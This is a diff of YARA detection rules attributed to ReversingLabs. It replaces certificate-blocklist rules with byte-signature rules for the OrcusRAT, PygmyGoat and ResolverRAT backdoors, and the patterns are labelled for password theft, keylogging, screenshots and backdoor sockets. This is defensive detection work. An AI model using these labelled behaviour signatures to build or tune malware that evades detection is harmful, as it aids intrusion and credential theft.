score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "OrcusRAT" + tc_detection_factor = 5 importance = 25 + strings: + $get_tcp_connections = { + 18 0B 16 0C 7E ?? ?? ?? ?? 12 ?? 17 07 1B 16 28 ?? ?? ?? ?? 0D 09 2C ?? 09 1F ?? 2E + ?? 72 ?? ?? ?? ?? 09 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 08 28 ?? ?? ?? + ?? 13 ?? 11 ?? 12 ?? 17 07 1B 16 28 ?? ?? ?? ?? 0D 09 2C ?? 72 ?? ?? ?? ?? 09 8C ?? + ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? + ?? ?? ?? A5 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 8C ?? ?? ?? + ?? 28 ?? ?? ?? ?? 6A 58 28 ?? ?? ?? ?? 13 ?? 11 ?? 7B ?? ?? ?? ?? 8D ?? ?? ?? ?? 0A + 16 13 ?? 2B ?? 11 ?? D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? A5 ?? ?? ?? ?? 13 + ?? 06 11 ?? 11 ?? A4 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 8C ?? ?? ?? ?? 28 ?? ?? + ?? ?? 6A 58 28 ?? ?? ?? ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 6A 11 ?? 7B ?? ?? ?? ?? 6E + 32 ?? DE ?? 11 ?? 28 ?? ?? ?? ?? DC 06 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? (FE | 06) + ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 + } + $get_operating_system_information_p1 = { + 73 ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 0B 12 ?? (FE | 16) ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 0A 28 ?? ?? ?? ?? 0C 08 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2B ?? + 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 06 72 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 0D + 09 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 09 (FE | 06) ?? + ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 2F ?? 06 1C 8D ?? ?? ?? ?? + 25 16 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 + 18 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A + 11 ?? 8C ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 38 ?? + ?? ?? ?? 06 1C 8D ?? ?? ?? ?? 25 16 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F + } + $get_operating_system_information_p2 = { + A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8C ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 25 + 1A 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 06 1A 8D ?? ?? ?? ?? 25 16 09 7B ?? ?? ?? ?? 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 09 7B ?? ?? ?? ?? 72 ?? ?? ?? + ?? 6F ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 + 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 13 ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? 06 72 ?? ?? ?? ?? 6F ?? ?? + ?? ?? 38 ?? ?? ?? ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? 06 72 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 38 ?? ?? ?? ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? 06 6F ?? ?? ?? ?? 72 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 38 ?? ?? ?? ?? 06 + 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 2B ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 2B ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 2E ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 + ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 2E ?? 11 + ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 2E ?? 06 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 2C ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 06 72 + ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 09 7B ?? ?? ?? ?? 2C ?? 09 7B ?? ?? ?? ?? 6F ?? ?? + ?? ?? DC 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 + } + $take_screenshot = { + 28 ?? ?? ?? ?? 0B 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 12 ?? 28 ?? ?? ?? ?? 73 ?? + ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 0C 08 28 ?? ?? ?? ?? 0B 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 0B 12 ?? 28 ?? ?? ?? ?? 16 16 06 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? + DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 + } + $get_passwords = { + 1F ?? 8D ?? ?? ?? ?? 25 16 73 ?? ?? ?? ?? A2 25 17 73 ?? ?? ?? ?? A2 25 18 73 ?? ?? + ?? ?? A2 25 19 73 ?? ?? ?? ?? A2 25 1A 73 ?? ?? ?? ?? A2 25 1B 73 ?? ?? ?? ?? A2 25 + 1C 73 ?? ?? ?? ?? A2 25 1D 73 ?? ?? ?? ?? A2 25 1E 73 ?? ?? ?? ?? A2 25 1F ?? 73 ?? + ?? ?? ?? A2 25 1F ?? 73 ?? ?? ?? ?? A2 25 1F ?? 73 ?? ?? ?? ?? A2 0A 73 ?? ?? ?? ?? + 25 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 06 0C 16 0D 2B + ?? 08 09 9A 13 ?? 07 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE + ?? 09 17 58 0D 09 08 8E 69 32 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? + 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 11 ?? 6F ?? + ?? ?? ?? 16 31 ?? 07 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 12 ?? 28 ?? + ?? ?? ?? 2D ?? DE ?? 12 ?? (FE | 16) ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 02 39 ?? ?? ?? + ?? 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 07 6F ?? + ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D + ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? + ?? ?? 13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? + 11 ?? 6F ?? ?? ?? ?? 16 31 ?? 07 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? + 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? (FE | 16) ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 07 + } + $process_key_action = { + 03 28 ?? ?? ?? ?? 2C ?? 02 17 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 02 7B ?? ?? ?? ?? 1A + 8D ?? ?? ?? ?? 25 16 03 8C ?? ?? ?? ?? A2 25 17 04 8C ?? ?? ?? ?? A2 25 18 05 8C ?? + ?? ?? ?? A2 25 19 07 A2 6F ?? ?? ?? ?? 26 2A 02 7B ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? + 0C 02 17 7D ?? ?? ?? ?? 02 16 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 1A 8D ?? ?? ?? ?? 25 + 16 03 8C ?? ?? ?? ?? A2 25 17 04 8C ?? ?? ?? ?? A2 25 18 05 8C ?? ?? ?? ?? A2 25 19 + 08 A2 6F ?? ?? ?? ?? 26 2A 02 7B ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? + ?? ?? ?? 0D 2B ?? 09 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 02 11 ?? 16 9A A5 ?? ?? ?? + ?? 11 ?? 17 9A A5 ?? ?? ?? ?? 11 ?? 18 9A A5 ?? ?? ?? ?? 11 ?? 19 9A 74 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 11 ?? 16 9A A5 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 03 04 11 ?? 19 9A 74 + ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 + 75 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 02 7B ?? ?? ?? ?? 6F ?? ?? + ?? ?? 28 ?? ?? ?? ?? 0A 02 03 04 05 06 28 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STA-R TOV" and pe.signatures [ i ] . serial == "08:20:23:87:91:12:28:9b:f3:51:d2:97:cc:8e:fc:fc" and 1573430400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $get_tcp_connections ) or ( all of ( $get_operating_system_information_p* ) ) or ( $take_screenshot ) or ( $get_passwords ) or ( $process_key_action ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0D53690631Dd186C56Be9026Eb931Ae2 : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Pygmygoat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects PygmyGoat backdoor." author = "ReversingLabs" - id = "4f60613c-4162-5b3d-989f-f79a06450f4d" - date = "2020-08-05" - modified = "2023-11-08" + id = "c6ffe84d-c1ae-5856-bd49-4633b049f95c" + date = "2025-01-20" + modified = "2025-01-20" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4834-L4850" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.PygmyGoat.yara#L1-L135" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3d0a80c062800f935fa3837755e8a91245e01a4e2450a05fecab5564cb62c15c" + logic_hash = "11e076865bfc72b79ca42ca821e4c1d81ea705f3ba7711be8677b648ada859a1" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "PygmyGoat" + tc_detection_factor = 5 importance = 25 + strings: + $create_backdoor_socket = { + 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 30 89 74 08 ?? 8D 50 ?? 83 E2 ?? 29 D0 01 C1 83 + E1 ?? C1 E9 ?? 89 D7 89 F0 F3 AB 83 EC ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 83 7D ?? ?? 79 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? + 8D 83 ?? ?? ?? ?? 50 8D 83 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 + C0 ?? 89 45 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 + ?? 83 EC ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D + ?? ?? 79 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? + 83 EC ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 + 79 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 66 C7 40 ?? + ?? ?? C6 40 ?? ?? 83 EC ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 66 C7 85 ?? ?? ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 83 C0 ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 + C0 ?? 89 45 ?? 83 EC ?? 6A ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 74 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? EB ?? 8B 45 ?? + 83 EC ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? + ?? 79 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? EB ?? 8B 45 ?? 8D + 65 ?? 5B 5E 5F 5D C3 + } + $backdoor_dataforward_p1 = { + 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? BE ?? ?? ?? ?? + BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 D1 89 C2 89 D7 89 F0 FC F3 AB 89 FA 89 4D ?? 89 + 55 ?? 8B 45 ?? 39 45 ?? 0F 4D 45 ?? 83 C0 ?? 89 45 ?? 83 7D ?? ?? 0F 88 ?? ?? ?? ?? + 83 7D ?? ?? 0F 88 ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 8B 55 ?? 83 E2 ?? 0F AB 94 85 ?? ?? + ?? ?? 8B 45 ?? C1 E8 ?? 8B 55 ?? 83 E2 ?? 0F AB 94 85 ?? ?? ?? ?? 83 EC ?? 6A ?? 6A + ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? + 79 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 + E0 ?? 8B 55 ?? C1 EA ?? 0F A3 84 95 ?? ?? ?? ?? 0F 92 C0 89 C6 89 F0 84 C0 0F 84 ?? + ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 83 7D ?? ?? 79 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E9 ?? + ?? ?? ?? 8B 45 ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 + } + $backdoor_dataforward_p2 = { + C4 ?? 89 45 ?? 83 7D ?? ?? 79 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 E0 ?? + 8B 55 ?? C1 EA ?? 0F A3 84 95 ?? ?? ?? ?? 0F 92 C0 89 C6 89 F0 84 C0 0F 84 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 + ?? 83 7D ?? ?? 79 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? EB ?? E8 ?? ?? ?? ?? 8B 00 + 83 F8 ?? 75 ?? EB ?? EB ?? 83 7D ?? ?? 75 ?? EB ?? 8B 45 ?? 68 ?? ?? ?? ?? 50 8D 85 + ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 79 ?? E8 ?? ?? + ?? ?? 8B 00 83 F8 ?? 75 ?? EB ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? EB ?? EB ?? E9 + ?? ?? ?? ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? + ?? 83 C4 ?? B8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 + } + $main_constructor = { + 55 89 E5 53 83 EC ?? E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 89 45 ?? 8D + 83 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 83 EC ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 83 EC ?? 6A ?? 8D 45 ?? 50 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 79 ?? E9 ?? ?? ?? ?? 83 EC ?? 8D 83 ?? ?? ?? ?? 50 8D 83 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 50 + 8D 83 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 83 EC ?? FF 75 + ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? + 8B 45 ?? 83 F8 ?? 77 ?? 8B 45 ?? BA ?? ?? ?? ?? 29 C2 89 D0 83 EC ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 83 EC ?? 68 ?? ?? ?? ?? 6A ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 89 83 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 85 C0 79 ?? E9 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? + 83 EC ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 79 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 50 8D 83 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 45 ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 C2 8B 83 ?? ?? ?? ?? 83 EC ?? 52 8D 55 ?? 52 50 E8 ?? + ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 75 ?? 83 EC + ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 EC ?? 8D 83 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? + ?? 8B 83 ?? ?? ?? ?? 83 EC ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? C9 C3 + } + $hook_accept_function_p1 = { + 55 89 E5 53 83 EC ?? E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 EC ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 83 EC ?? 8D 83 ?? ?? ?? ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? + 74 ?? 8B 45 ?? 8B 00 89 45 ?? 83 7D ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 EC + ?? FF 75 ?? FF 75 ?? FF 75 ?? 8B 45 ?? FF D0 83 C4 ?? 89 45 ?? 83 7D ?? ?? 79 ?? E9 + ?? ?? ?? ?? 83 EC ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 94 C0 + 0F B6 C0 89 45 ?? 83 7D ?? ?? 74 ?? E9 ?? ?? ?? ?? 81 65 ?? ?? ?? ?? ?? 83 EC ?? 6A + ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? EB ?? 6A ?? 6A ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 + 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 45 ?? 83 EC ?? 50 8D 83 ?? ?? ?? ?? + 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? EB + ?? 83 EC ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 45 ?? ?? 83 7D ?? ?? 76 + } + $hook_accept_function_p2 = { + 83 7D ?? ?? 76 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? E9 ?? ?? + ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? E9 ?? + ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B + 45 ?? 3B 45 ?? 75 ?? EB ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 45 ?? ?? 81 + 7D ?? ?? ?? ?? ?? 7E ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? 83 EC ?? FF 75 ?? + E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 6A ?? E8 ?? ?? ?? ?? 83 EC ?? FF 75 ?? FF 75 ?? E8 + ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 79 ?? 83 EC ?? 6A ?? E8 ?? ?? ?? ?? 83 EC + ?? 6A ?? E8 ?? ?? ?? ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 6A ?? E8 + ?? ?? ?? ?? 83 EC ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? FF 75 ?? + E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 00 83 EC ?? 50 6A ?? FF 75 ?? + E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 89 10 83 EC ?? FF 75 ?? FF 75 ?? FF 75 ?? + E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 45 ?? 8B 5D ?? C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STA-R TOV" and pe.signatures [ i ] . serial == "0d:53:69:06:31:dd:18:6c:56:be:90:26:eb:93:1a:e2" and 1592190240 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( $create_backdoor_socket ) and ( all of ( $backdoor_dataforward_p* ) ) and ( $main_constructor ) and ( all of ( $hook_accept_function_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_32119925A6Ce4710Aecc4006C28E749F : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Resolverrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects ResolverRAT backdoor." author = "ReversingLabs" - id = "cfd51cb8-bd04-5ede-a73e-e924815a01f0" - date = "2020-08-05" - modified = "2023-11-08" + id = "f62f50b6-7d2d-570b-82c8-f6e741270f1e" + date = "2025-06-30" + modified = "2025-06-30" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4852-L4868" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.ResolverRAT.yara#L1-L94" license_url = 